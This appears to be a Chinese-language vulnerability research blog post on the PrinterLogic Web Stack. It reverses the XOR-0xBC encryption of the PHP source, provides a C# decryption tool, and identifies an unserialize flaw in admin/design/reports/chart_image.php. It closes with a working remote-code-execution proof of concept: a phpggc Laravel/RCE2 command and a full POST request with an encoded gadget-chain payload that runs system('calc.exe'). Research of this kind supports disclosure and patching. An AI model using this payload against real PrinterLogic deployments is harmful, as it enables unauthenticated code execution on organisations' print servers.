前言

看到推特上有人发 PrinterLogic Web Stack unserialize RCE,但是poc打码了,所以自己下了一个分析一下。

这玩意是个打印机,开放了一个基于iis/php/laravel的web,而且php源码是加密的,本文就对其进行解密并分析漏洞。

解密源码

打开php文件看到文件是加密的

1.png

找到php的安装路径C:\Program Files (x86)\PHP\7.3.28.0,查看php.ini的配置

2.png

用到了一个php_decoder.dll,直接拖入ida中。经过分析导入表中引入zend_compile_file,多是处理加密解密的重写。

3.png

跟进到sub_100011D0

4.png

确认解密逻辑位于sub_10001000函数中,伪代码如下

  1int __cdecl sub_10001000(int a1, int a2)
  2{
  3  int v2; // edi@1
  4  int result; // eax@4
  5  int v4; // eax@8
  6  unsigned int v5; // edx@8
  7  int v6; // ebx@8
  8  char v7; // cl@10
  9  char v8; // al@10
 10  unsigned int v9; // ebp@14
 11  unsigned int v10; // eax@14
 12  int v11; // ebx@14
 13  unsigned int v12; // ecx@14
 14  int v13; // eax@18
 15  int v14; // edx@21
 16  int v15; // ebx@21
 17  int v16; // esi@21
 18  int v17; // ecx@22
 19  int v18; // ST04_4@24
 20  int v19; // eax@24
 21  int v20; // esi@24
 22  unsigned int v21; // [sp+4h] [bp-8h]@3
 23  int v22; // [sp+8h] [bp-4h]@14
 24
 25  v2 = a1;
 26  if ( a1
 27    && *(_DWORD *)(a1 + 44)
 28    && zend_stream_fixup(a1, &a1, &v21) != -1
 29    && *(_DWORD *)(v2 + 52) == 4
 30    && *(_DWORD *)v2
 31    && *(_DWORD *)(v2 + 20) )
 32  {
 33    v4 = v21;
 34    v5 = 0;
 35    v6 = v21 >= 0x9F;
 36    if ( v21 >= 0x9F )
 37    {
 38      do
 39      {
 40        if ( v5 >= 0x9F )
 41          break;
 42        v7 = *(&a_phpHeaderHttp[a1
 43                              - (_DWORD)"<?php\n"
 44                                        "header('HTTP/1.1 500 Internal Server Error');\n"
 45                                        "echo 'PrinterLogic decoder is not installed, please contact customer support for"
 46                                        " assistance';\n"
 47                                        "exit();\n"
 48                                        "?>PL"]
 49             + v5);
 50        v8 = a_phpHeaderHttp[v5];
 51        v6 = v7 == v8;
 52        ++v5;
 53      }
 54      while ( v7 == v8 );
 55      v4 = v21;
 56    }
 57    if ( v6 )
 58    {
 59      v9 = v4 - 159;
 60      v10 = emalloc__4(v4, v5);
 61      v11 = v10;
 62      v12 = 0;
 63      v22 = v10;
 64      if ( v9 )
 65      {
 66        if ( v9 >= 0x40 && (v10 > v9 + a1 + 158 || v10 + v9 - 1 < a1 + 159) )
 67        {
 68          v13 = a1;
 69          do
 70          {
 71            *(__m128i *)(v11 + v12) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 159), (__m128i)xmmword_100021B0);
 72            *(__m128i *)(v11 + v12 + 16) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 175), (__m128i)xmmword_100021B0);
 73            *(__m128i *)(v11 + v12 + 32) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 191), (__m128i)xmmword_100021B0);
 74            *(__m128i *)(v11 + v12 + 48) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 207), (__m128i)xmmword_100021B0);
 75            v12 += 64;
 76          }
 77          while ( v12 < (v9 & 0xFFFFFFC0) );
 78        }
 79        if ( v12 < v9 )
 80        {
 81          v14 = v11 + v12;
 82          v15 = 159 - v22;
 83          v16 = v9 - v12;
 84          do
 85          {
 86            v17 = v15 + v14++;
 87            *(_BYTE *)(v14 - 1) = *(_BYTE *)(v17 + a1) ^ 0xBC;
 88            --v16;
 89          }
 90          while ( v16 );
 91          v11 = v22;
 92        }
 93      }
 94      memset((void *)(v11 + v9), 0, 0x9Fu);
 95      v18 = a2;
 96      a1 = *(_DWORD *)(v2 + 20);
 97      v21 = *(_DWORD *)(v2 + 8);
 98      *(_DWORD *)(v2 + 20) = v11;
 99      *(_DWORD *)(v2 + 8) = v9;
100      v19 = dword_10003090(v2, v18);
101      *(_DWORD *)(v2 + 20) = a1;
102      v20 = v19;
103      *(_DWORD *)(v2 + 8) = v21;
104      efree__4(v11);
105      result = v20;
106    }
107    else
108    {
109      result = dword_10003090(v2, a2);
110    }
111  }
112  else
113  {
114    result = dword_10003090(v2, a2);
115  }
116  return result;
117}

关键代码异或了一个0xBC,代码是看不懂了,只能盲测是不是异或0xbc

伪代码中有一个v4 - 159 刚好截取到这个地方

5.png

0x80 ^ 0xBC 试试

1>>> 0x80 ^ 0xBC
260
3>>> chr(60)
4'<'

看起来像是php的起始标签<,再试试第二位第三位

6.png

没错了就是仅仅异或了一个0xBC

如此写脚本解密

 1using System;
 2using System.Collections.Generic;
 3using System.IO;
 4using System.Linq;
 5using System.Text;
 6using System.Threading.Tasks;
 7
 8namespace ConsoleApp5
 9{
10    internal class Program
11    {
12
13        static List<string> fileList = new List<string>();
14        static string encPath = @"";
15        static void Main(string[] args)
16        {
17            if (args.Length < 2)
18            {
19                Console.WriteLine("decode.exe encdir outdir");
20                return;
21            }
22            else
23            {
24                Console.WriteLine($"{args[0]} {args[1]}");
25            }
26            encPath = args[0];
27            ForeachForldersAndFiles(encPath);
28            Console.WriteLine($"处理文件总数 {fileList.Count}");
29            foreach (var file in fileList)
30            {
31                Decode(file, args[1]);
32            }
33            Console.WriteLine("decode done!");
34        }
35        static void ForeachForldersAndFiles(string path)
36        {
37            DirectoryInfo di = new DirectoryInfo(path);
38            DirectoryInfo[] arrDir = di.GetDirectories();
39
40            foreach (DirectoryInfo dir in arrDir)
41            {
42                ForeachForldersAndFiles(di + dir.ToString() + "\\");
43            }
44
45            foreach (FileInfo fi in di.GetFiles())
46            {
47                string content = File.ReadAllText(fi.FullName, Encoding.UTF8);
48                if (content.Contains("PrinterLogic decoder is not installed"))
49                {
50                    fileList.Add(fi.FullName);
51                    Console.WriteLine($"add {fi.FullName}");
52                }
53            }
54        }
55        static void Decode(string infile, string outfile)
56        {
57            Console.WriteLine("处理 " + infile);
58            byte key = 0xBC;
59            FileStream fileStream = new FileStream(infile, FileMode.Open, FileAccess.Read);
60            BinaryReader binaryReader = new BinaryReader(fileStream);
61
62            string outfilepath = infile.Replace(encPath, outfile);
63
64            string directoryName = new FileInfo(outfilepath).DirectoryName;
65            if (!Directory.Exists(directoryName))
66            {
67                Directory.CreateDirectory(directoryName);
68            }
69
70            StreamWriter streamWriter = new StreamWriter(outfilepath);
71            long length = fileStream.Length;
72            while (length > 0)
73            {
74                byte tmpByte = binaryReader.ReadByte();
75                byte resByte = Convert.ToByte(tmpByte ^ key);
76                char res = Convert.ToChar(resByte);
77                streamWriter.Write(res);
78                length--;
79            }
80            streamWriter.Close();
81            Console.WriteLine("done " + infile);
82        }
83    }
84}

解密之后再来审计

审计

admin\design\reports\chart_image.php 文件中直接用了经典的base64反序列化

1$dataset = unserialize(base64_decode(requeststr("dataset")));

poc

1./phpggc -b -u -f Laravel/RCE2 system 'calc.exe'
1POST /admin/design/reports/chart_image.php HTTP/1.1
2Content-Type: application/x-www-form-urlencoded
3
4dataset=YSUzQTIlM0ElN0JpJTNBNyUzQk8lM0E0MCUzQSUyMklsbHVtaW5hdGUlNUNCcm9hZGNhc3RpbmclNUNQZW5kaW5nQnJvYWRjYXN0JTIyJTNBMiUzQSU3QnMlM0E5JTNBJTIyJTAwJTJBJTAwZXZlbnRzJTIyJTNCTyUzQTI4JTNBJTIySWxsdW1pbmF0ZSU1Q0V2ZW50cyU1Q0Rpc3BhdGNoZXIlMjIlM0ExJTNBJTdCcyUzQTEyJTNBJTIyJTAwJTJBJTAwbGlzdGVuZXJzJTIyJTNCYSUzQTElM0ElN0JzJTNBOCUzQSUyMmNhbGMuZXhlJTIyJTNCYSUzQTElM0ElN0JpJTNBMCUzQnMlM0E2JTNBJTIyc3lzdGVtJTIyJTNCJTdEJTdEJTdEcyUzQTglM0ElMjIlMDAlMkElMDBldmVudCUyMiUzQnMlM0E4JTNBJTIyY2FsYy5leGUlMjIlM0IlN0RpJTNBNyUzQmklM0E3JTNCJTdE

参考

  1. https://www.yahooinc.com/paranoids/paranoids-vulnerability-research-printerlogic-issues-security-alert/

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。